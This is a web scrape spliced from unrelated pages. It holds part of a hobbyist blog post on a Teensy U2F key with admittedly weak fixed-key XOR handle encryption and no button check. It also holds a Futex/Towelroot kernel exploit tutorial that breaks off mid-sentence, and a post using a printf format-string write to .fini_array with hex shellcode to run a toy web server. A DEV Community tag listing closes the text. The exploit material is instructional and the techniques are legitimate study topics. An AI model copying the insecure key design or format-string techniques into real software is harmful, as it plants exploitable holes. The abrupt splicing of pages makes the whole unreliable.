RAWHID_USAGE_PAGE 0xFFAB // recommended: 0xFF00 to 0xFFFF // #define RAWHID_USAGE 0x0200 // recommended: 0x0100 to 0xFFFF #define RAWHID_USAGE_PAGE 0xf1d0 // recommended: 0xFF00 to 0xFFFF #define RAWHID_USAGE 0x01 // recommended: 0x0100 to 0xFFFF #define MANUFACTURER_NAME {'T','e','e','n','s','y','d','u','i','n','o'} #define MANUFACTURER_NAME_LEN 11 #define PRODUCT_NAME {'T','e','e','n','s','y','d','u','i','n','o',' ','U','2','F','H','I','D'} The U2F protocol is actually quite simple. When we want to use the hardware U2F key in a webapp (or desktop app), we need to add the USB key that we have to the app database. Practically, in the website, you would choose a menu that says “Add device” or “register new device”. When you choose the register/add device, the app will send a REGISTER request to they hardware U2F USB key with a unique appid (for web app, this consist of domain name and port). The hardware U2F key will generate a private/public key pair specific for this app id, and the hardware U2F key will respond by sending a “key handle” and a “public key” to the app. If we have several usernames in an app/website, we can use a single hardware U2F key to be used for all accounts (the “key handle” will be different for each account). Next time the user wants to login, the app/webapp will send authentication request to the hardware U2F key. In practice, when logging in, the website will request you to plug the hardware U2F key and press the button in the hardware key. The app will send a random challenge and the appid (to identify which app it is), and the “key handle” (so the hardware U2F key will know which private key to use to sign the request). The hardware U2F key will reply with the same random challenge signed with the private key corresponding with the “key handle”, and it will also increase a counter (the counter is to prevent re-play attack and cloning attack). There are two ways the hardware U2F key can keep track of which private key to use for a “key handle”: first one is to store a mapping of key handle to private key in a storage in the hardware U2F key, and when an app asks for a specific key handle, it can look up the private key in the storage. The second method is easier, and doesn’t require any storage, but slightly less secure: the “key handle” actually contains the private key itself (in encrypted form, otherwise anyone can send the request). Since the Teensy LC only contains 128 of EPROM, I used the second approach. Google provides U2F reference code including something to test USB U2F keys . I started using this to test my implementation step by step using HidTest and U2Ftest. In retrospect this was not really necessary to get a working U2F key for websites. There are cases that just wouldn’t happen normally, and sometimes the test requires strange assumption (for example: as far as I know nothing in the specification says that key handle size must be at least 64 bytes in size). Teensy LC doesn’t provide a user button (just a reset button), and I don’t want to add a button to it (it wouldn’t be portable anymore). So I just implemented everything without button press. This is insecure, but it’s ok for me for testing. For “key handle” I use a very simple xor encryption with fixed key which is not very secure. If you want a more secure approach, you can use a more complicated method . Most of the time implementing your own device is not more secure than buying commercial solution, but sometimes it has some advantages over commercial solutions. For example: most devices that I know of doesn’t have a ‘reset’ mechanism. So if for instance you are caught having a device, and they have access to a website data, they can prove from your device that you have an account in that site (there is a protocol to check if a given key handle is generated by a hardware U2F device). In our custom solution we can reset/reflash our own device (or just change the encryption key)) and have a plausible deniability that we are not related to that site (the suggestion in the U2F specification was to destroy a device if you no longer want to associate a website with your device if your device doesn’t have reset mechanism). I have published my source in github in case someone wants to implement something similar for other devices (or to improve my implementation). I have included the micro-ecc source because I want to experiment by removing some unneeded functions to reduce the code size (for example: we always use uncompressed point representation for U2F, we only use a single specific Curve, we never need to verify a signature, etc). You should change the key “-YOHANES-NUGROHO-YOHANES-NUGROHO-” for your own device (must be 64 characters if you want security). There are still a lot of things that I want to explore regarding the U2F security, and having a device that I can hack will make things easier. Update: some people are really worried about my XOR method: you can change the key and make it 64 bytes long. It’s basically a one-time-pad (xoring 64 bytes, with some unknown 64 bytes). If you want it to be more secure: change the XOR into anything else that you want (this is something that is not specified in the standard). Even a Yubico U2F device is compromised if you know the master key, in their blog post, they only mentioned that the master key is generated during manufacturing, and didn’t say if they also keep a record of the keys. Update again: this is not secure, see http://www.makomk.com/2015/11/10/breaking-a-teensy-u2f-implementation/ . Regarding the buttonless approach: it’s really easy to add them. In my code, there is an ifdef for SIMULATE_BUTTON. It will just pretend that the button was not pressed on first request, and pressed on second request. Just change it so that it really reads a physical button. Author admin Posted on November 8, 2015 July 26, 2018 Categories hacks , opensource , security 12 Comments on Teensy LC U2F key Exploiting the Futex Bug and uncovering Towelroot The Futex bug ( CVE-2014-3153 ) is a serious bug that affects most Linux kernel version and was made popular by geohot in his towelroot exploit. You can read the original comex report at hackerone . Others have succesfully implemented this ( this one for example ), but no public exploit source code is available. This post will describe in detail about what exactly is the futex bug, how to exploit the futex bug, and also explains how towelroot works and what the modstring in Towelroot v3 actually do. Following the footsteps of other security researchers, I will not give a full source code to the exploit. By giving enough details, I hope programmers can learn and appreciate the exploit created for this bug. By not releasing the source, I hope this should stop most script kiddies. There will be some small details that I will gloss over (about the priority list manipulation), so it will require some thinking and experimentation to implement the exploit. One thing to note: I did some kernel programming, but never written a kernel exploit before, so this is my first time, I hope this is a good write up for a newbie exploit writer like me. Distributing the exploit source code will be useful only to handful of people, but writing about it will be useful to all programmers interested in this. Towelroot is not opensource, and the binary is protected from reverse engineering by compiling it with llvm-obfuscator . When I started, I tried using 64 bit kernel on my desktop, and was not successful because I can’t find a syscall that can alter the stack in the correct location. So I decided to do a blackbox reverse engineering by looking at syscalls used by towelroot. Since (I think) I know how towelroot works, I will discuss about it, and I hope it will help people to understand/modify modstrings used in towelroot v3. If you are an exploit hacker, just jump to “on to the kernel” part. The initial part is only for those unexperienced in writing exploits. Before exploiting this bug we need to understand what the bug is. In short, the bug is that there is a data structure in the stack, that is part of a priority list that is left there and can be manipulated. This is very vague for most of programmers, so lets break it down. You need to understand what a stack is and how it works. The Stack A stack is a block of memory set aside for local variable, for parameter passing, and for storing return address of a procedure call. Usually when we talk about stack and exploits, we try to alter the return address and redirect it to another address and probably do ROP ( Return Oriented Programming ). This is not the case with this bug, so forget about that. Even though this bug is about futex, this is also not a race condition bug. Stack memory is reused accross procedure calls (not cleared) . See this simple example: You can compile then run it: gcc test.c -o mytest Note: just compile normally, don’t use any optimization level (-Ox): $./mytest local foo is 10 local foo is 12 As you can see, both procedures uses exactly the same stack layout. Both local uses the same stack location. When bar is called, it writes to the same stack location used by “foo” for its local variable. This simple concept will play a role in understanding the bug. Next topic is about linked list. Usually a pointer based data structure uses heap for storing the elements (We don’t use stack because we want the elements to be “permanent” accross calls), but sometimes we can just use the stack, as long as we know that the element is going to be removed when the function exits, this will save time in allocation/deallocation. Here is an example of a made up problem where we put in an element located in the stack then removing it again before returning. In that example, if we don’t remove the element and we return, the app will likely crash when the stack content is altered then the list js manipulated. That is the simplified version of the bug in the userland. To exploit the bug, we need a good understanding of how futex work, especially the PI (Priority Inheritance Futex). There are very good papers that you can read about this topic. The first one is: Futexes Are Tricky , this will give a you an idea about what futex is and how it works. The other one is Requeue-PI: Making Glibc Condvars PI-Aware , this will give you a very thorough details about the PI futex implementation in the kernel. I suggest someone trying to implement the exploit to read at least the second paper. For those of you who are not that curious to read the papers, I will try to simplify it: when there are tasks waiting for a pi futex, the kernel creates a priority list of those tasks (to be precise, it creates a waiter structure for that task) . A priority list is used because we want to maintain a property of a pi futex, i.e, task with a high priority will be waken first even though it waits after a low priority task. The node of this priority list is stored in the kernel stack. Note that when a task waits for a futex, it will wait in kernel context, and will not return to user land. So the use of kernel stack here completely makes sense. Please note that before kernel 3.13, the kernel uses plist, but after 3.13 it uses rb_node for storing the list. If you want to exploit latest kernel, you will need to handle that. This is actually where the bug is: there is a case where the waiter is still linked in the waiter list and the function returns. Please note that a kernel stack is completely separate from user stack. You can not influence kernel stack just by calling your own function in the userspace. You can manipulate kernel stack value (like the first example) by doing syscall. If you don’t understand much about kernel, you can imagine a syscall is like a remote call to another machine: the execution on the other “machine” will use a separate stack from the one that you use in your local (user mode code). Note that this analogy doesn’t really hold when we talk about exploiting memory space. A simpler bug Before going into the detail about how the bug can be exploited in the kernel. I will present a much smaller and easier to understand userland code that has a similar bug. After you understand this, I will show how the kernel exploit works based on the same principle: First, you will need to compile this in 32 bit mode, so the sizeof int is the same as the size of pointer (32 bit), don’t use any optimization when compiling. gcc -m32 list1.c Then run the resulting executable without any parameters it will print something like this: $ ./mylist we will use pos: -1 Not a buggy function Value = Alpha Value = Beta Value = --END OF LIST-- a buggy function, here is the location of value on stack 0xffd724a4 Value = Alpha Value = Beta Value = --END OF LIST-- location of buf[0] is 0xffd72488 location of buf[1] is 0xffd7248c location of buf[2] is 0xffd72490 location of buf[3] is 0xffd72494 location of buf[4] is 0xffd72498 location of buf[5] is 0xffd7249c location of buf[6] is 0xffd724a0 location of buf[7] is 0xffd724a4 location of buf[8] is 0xffd724a8 location of buf[9] is 0xffd724ac Value = Alpha Value = Beta Value = --END OF LIST-- Notice the location of value on stack, which in this example is 0xffd724a4. Notice that it is the same as the address of buf[7]. Now run the test again, like this: $./mylist 7 HACKED we will use pos: 7 Not a buggy function Value = Alpha Value = Beta Value = --END OF LIST-- a buggy function, here is the location of value on stack 0xffd3bd34 Value = Alpha Value = Beta Value = --END OF LIST-- Value = Alpha Value = Beta Value = HACKED There is no assignment of the value “HACKED” to the list element, but it printed the word “HACKED”. Why this works? because we assign to the exact memory location in stack where “value” was stored. Also note that the location printed is now different because of ASLR , but because the position is the same in the stack, element number 7 is also relocated to the same address. Now try out if you use other value than 7, also try a very small or very large value. You can also try this with stack protector on: gcc -m32 -fstack-protector list1.c The element that matched the address will be different (may be 7 becomes 8 or 6), but the exploit will still work if you adjust the element number with the matching address. In this example, I made a very convenient function that makes the “exploit” easy (named a_function_to_exploit). In the real world, if we want to modify certain location in stack, we need to find a function that has a correct “depth” (that is: the stack size usage is at least the same as the function that we are trying to exploit), and we need to be able to manipulate the value on that stack depth. To understand about stack depth, you can comment the dummy_var1/dummy_var2/dummy_var3, compile, and see the stack address change. You can also see that if the function is optimized, certain variables are no longer in stack (moved to registers if possible). Writing using list Once you know how to manipulate an element of the list, you can | 2026-01-13T08:47:54 |
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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/?replytocom=23493#respond | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Productivity Follow Hide Productivity includes tips on how to use tools and software, process optimization, useful references, experience, and mindstate optimization. Create Post submission guidelines Please check if your article contains information or discussion bases about productivity. From posts with the tag #productivity we expect tips on how to use tools and software, process optimization, useful references, experience, and mindstate optimization. Productivity is a very broad term with many aspects and topics. From the color design of the office to personal rituals, anything can contribute to increase / optimize your own productivity or that of a team. about #productivity Does my article fit the tag? It depends! Productivity is a very broad term with many aspects and topics. From the color design of the office to personal rituals, anything can contribute to increase / optimize your own productivity or that of a team. Older #productivity posts 2 3 4 5 6 7 8 9 10 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Tools Don’t Fix Broken Systems — Design Does Technmsrisai Technmsrisai Technmsrisai Follow Jan 9 Tools Don’t Fix Broken Systems — Design Does # systems # architecture # productivity # software Comments Add Comment 2 min read Headless Mode: Unleash AI in Your CI/CD Pipeline Rajesh Royal Rajesh Royal Rajesh Royal Follow Jan 11 Headless Mode: Unleash AI in Your CI/CD Pipeline # tutorial # claudecode # productivity # beginners 1 reaction Comments Add Comment 4 min read Building Advanced Modal Systems with State Management in daisyUI and Svelte Ethan Walker Ethan Walker Ethan Walker Follow Jan 9 Building Advanced Modal Systems with State Management in daisyUI and Svelte # webdev # svelte # tutorial # productivity Comments Add Comment 7 min read I Built a Tool That Turns Any OpenAPI Spec Into n8n Workflow Nodes in Seconds Huy Pham Huy Pham Huy Pham Follow Jan 9 I Built a Tool That Turns Any OpenAPI Spec Into n8n Workflow Nodes in Seconds # n8n # automation # opensource # productivity Comments Add Comment 2 min read Why most businesses don’t actually need a “unique” backend OneEntry OneEntry OneEntry Follow Jan 9 Why most businesses don’t actually need a “unique” backend # ecommerce # javascript # productivity # webdev Comments Add Comment 7 min read How do you keep engineering context alive when requirements change? Post: Kumar Kislay Kumar Kislay Kumar Kislay Follow Jan 11 How do you keep engineering context alive when requirements change? Post: # discuss # documentation # productivity 1 reaction Comments Add Comment 1 min read Concerning Amounts of Malware in the VS Code Marketplace: What Microsoft’s Own Logs Reveal Ishaan Agrawal Ishaan Agrawal Ishaan Agrawal Follow Jan 9 Concerning Amounts of Malware in the VS Code Marketplace: What Microsoft’s Own Logs Reveal # security # productivity # programming # backend 12 reactions Comments Add Comment 3 min read How “Thinking Out Loud” Unlocked Clarity for My Dev Team (And How You Can Do It Too) Shubham Choudhary Shubham Choudhary Shubham Choudhary Follow Jan 9 How “Thinking Out Loud” Unlocked Clarity for My Dev Team (And How You Can Do It Too) # leadership # softwareengineering # productivity # career Comments Add Comment 2 min read The Spice: My GitHub Looked Great. I Felt Like a Fraud. Om Keswani Om Keswani Om Keswani Follow Jan 9 The Spice: My GitHub Looked Great. I Felt Like a Fraud. # career # devjournal # mentalhealth # productivity Comments Add Comment 3 min read Stop Context Switching: How I Built a Tool to Generate Elite AI Prompts Inside VS Code Seçkin Seçkin Seçkin Follow Jan 9 Stop Context Switching: How I Built a Tool to Generate Elite AI Prompts Inside VS Code # vscode # ai # productivity # promptengineering Comments Add Comment 2 min read Why “Busywork” Kills Creativity When I’m Just Trying to Experiment Tanmaya Naik Tanmaya Naik Tanmaya Naik Follow Jan 9 Why “Busywork” Kills Creativity When I’m Just Trying to Experiment # programming # productivity # learning Comments Add Comment 1 min read Free Resume Bullet Rewriter (Impact-Focused) CreatorOS CreatorOS CreatorOS Follow Jan 9 Free Resume Bullet Rewriter (Impact-Focused) # jobs # resume # career # productivity Comments Add Comment 1 min read December 2025 VS Code Update (Version 1.108) – What’s New and Why It Matters Muhammad Hamid Raza Muhammad Hamid Raza Muhammad Hamid Raza Follow Jan 9 December 2025 VS Code Update (Version 1.108) – What’s New and Why It Matters # news # vscode # tutorial # productivity Comments Add Comment 2 min read Code Review Best Practices: How to Review Code Without Slowing Teams Down Yeahia Sarker Yeahia Sarker Yeahia Sarker Follow Jan 9 Code Review Best Practices: How to Review Code Without Slowing Teams Down # codequality # productivity # softwareengineering Comments Add Comment 3 min read I built an AI that detects your mood while coding (Locally in VS Code) 🧠✨ freerave freerave freerave Follow Jan 8 I built an AI that detects your mood while coding (Locally in VS Code) 🧠✨ # vscode # productivity # opensource # javascript Comments Add Comment 1 min read I Built a Simple MM to CM Converter Because I Got Tired of Googling It Olivia Olivia Olivia Follow Jan 9 I Built a Simple MM to CM Converter Because I Got Tired of Googling It # webdev # productivity # tools Comments Add Comment 1 min read Why email journaling works when apps never did (and why I built DailyInk) Anthony Anthony Anthony Follow Jan 8 Why email journaling works when apps never did (and why I built DailyInk) # productivity # writing # devjournal # webdev 1 reaction Comments Add Comment 3 min read Memoization in 